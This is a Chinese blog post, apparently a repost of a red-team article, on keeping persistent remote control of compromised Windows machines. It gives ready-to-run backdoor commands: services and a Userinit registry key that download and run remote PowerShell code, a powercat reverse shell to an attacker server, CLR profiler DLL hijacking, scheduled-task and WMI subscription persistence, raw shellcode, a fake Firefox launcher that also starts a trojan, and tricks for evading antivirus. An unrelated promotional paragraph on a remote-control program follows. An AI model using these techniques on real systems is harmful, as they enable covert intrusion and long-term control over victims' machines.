Windows远控之权限维持

Windows权限维持

一丶建立系统服务

获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。

1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。

sc create "nuoyan" binpath= "c:\accc.exe"
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "服务名" start= auto
删除服务。
sc delete "服务名"

 

image

image

2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。

 

powershell.exe new-service –Name nuoyani  –BinaryPathName "C:\WINDOWS\Temp\360.exe" –StartupType Automatic

 

image

 

$c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)

 

多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。

二丶注册表运行键

2.1、userinit注册表后门

在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。

使用powershell命令对键值进行修改。

 

powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe  IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

 

使用cs实际执行时发现几个坑点:

1、直接执行powershell命提示找不到实际参数。

image

image

解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。

image

 

2、cs执行失败(原因未知)

首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)

当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。

image

image

本地执行ps1文件,可以正常执行成功。

image

image

尝试反弹shell到vps上,可以成功运行ps1脚本。

 

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd

 

image

 

image

 

开启360进行测试,无法绕过360增加userinit注册表后门。

image

 

2.2 、CLR后门

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,够劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。

1、首先准备dll后门文件,区分32和64位。

可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。

image

2、修改当前用户的环境变量。

可以使用wmi进行修改

 

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"

 

或者使用powershell修改

 

New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null

 

3、执行reg add修改注册表键值。

32位系统

 

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

 

dll分为32和64,

64位系统需要同时修改32和64的注册表键值。

 

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide64.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Software\Classes\WoW6432Node\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tidd32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

 

image

 

image

 

image

4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。

image

image

无法绕过360。

使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。

image

还有持久性后门都是对注册表进行操作,都无法绕过杀软。

三、计划任务

 

管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。

上传免杀的exe木马,执行命令。

 

schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe  /SC ONLOGON /F /RL HIGHEST

 

image

360能够拦截相关行为。

image

 

image

 

四、dll后门

恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。

 

团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。

直接使用自动化dll注入工具,输入shellcode自动生成dll文件。

image

使用cs自动生成的shellcode,可以提取免杀exe的shellcode。

image

生成dll文件。

image

把生成的dll文件和conf.inf放入到KK.exe的同级目录下。

image

选择生成的dll和kk.exe

image

运行kk.exe ,cs成功上线。

重启电脑后,启动kk.exe可以上线。

image

实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。

可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。

image

当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。

image

360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。

 

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00

 

image

自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。https://www.freebuf.com/articles/system/228233.html

工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码:c29j

 

五、WMI后门

 

wmi触发器

wmi事件的基础:

1、事件筛选器

事件筛选器描述事件并且执行WQL事件查询。

2、事件消费者

事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:

ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload

CommandLineEventConsumer - 执行一个命令行程序

3、消费者绑定筛选器

消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。

####实例代码

事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。

 

$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:\Windows\temp\tide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null

 

当计算机重启后一段事件cs成功接收到2个会话信息。

可以根据实际需要选择合适的事件筛选器。

系统每过60秒触发一次事件消费者。

 

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

 

当运行计算器后触发,且每5秒触发一次事件消费者。

 

SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'

 

使用Autoruns查看和删除WMI数据库的内容。

image

360可以拦截到WMI相关行为。

image

 

5、 伪装常用应用程序

 

替换目标常用快捷方式指向的exe文件。

查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe

编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。

也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。

image

 

#include<stdio.h>
#include<stdlib.h>
int main(){
system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
system("C:\\Windows\\Temp\\tide.exe");
return 0;
}

 

使用Restorator修改exe文件图标。

image

当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。

image

 

6、总结

 

本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。

#参考文章

http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/

https://www.freebuf.com/sectool/157952.html

https://www.cnblogs.com/-qing-/p/10964486.html

https://yq.aliyun.com/articles/215002

https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/

https://www.freebuf.com/column/165235.html

https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md

https://3gstudent.github.io/

https://www.freebuf.com/articles/system/228233.html

本文来自https://www.yuque.com/tidesec/redteam/sgfxkl

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Starrat远控是一款远程控制软件,它可以帮助用户远程访问和控制其他计算机。通过Starrat远控,用户可以在不同的地点之间进行远程操作,实现文件传输、软件安装、远程协助和远程监控等功能。 要下载Starrat远控,首先需要在互联网上搜索并找到合适的下载来源。可以通过搜索引擎输入关键词"Starrat远控下载",然后获取到相关网站的链接。接下来,点击合适的链接,进入下载界面。 在下载界面,通常会提供不同版本的Starrat远控软件。用户可以根据自己的操作系统和需求选择合适的版本进行下载。一般来说,Windows、Mac和Linux都有适用的版本供用户选择。 在选择好版本后,可以点击下载按钮开始下载。下载过程可能需要一定的时间,取决于网络环境和软件大小。下载完成后,可以在指定的文件夹中找到下载好的Starrat远控安装文件。 完成下载后,用户需要运行安装文件进行安装。根据系统提示,一步步完成安装过程。安装完成后,用户可以在计算机上找到并打开Starrat远控软件。 为了使用Starrat远控,用户需要另外一个计算机作为目标设备。通过Starrat远控软件,用户需要输入目标设备的IP地址或域名,并进行连接。一旦成功连接,用户就可以开始远程访问和控制目标设备。 总之,通过以上步骤,用户可以顺利完成Starrat远控软件的下载、安装和运行,实现远程控制的目的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Azjj98

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值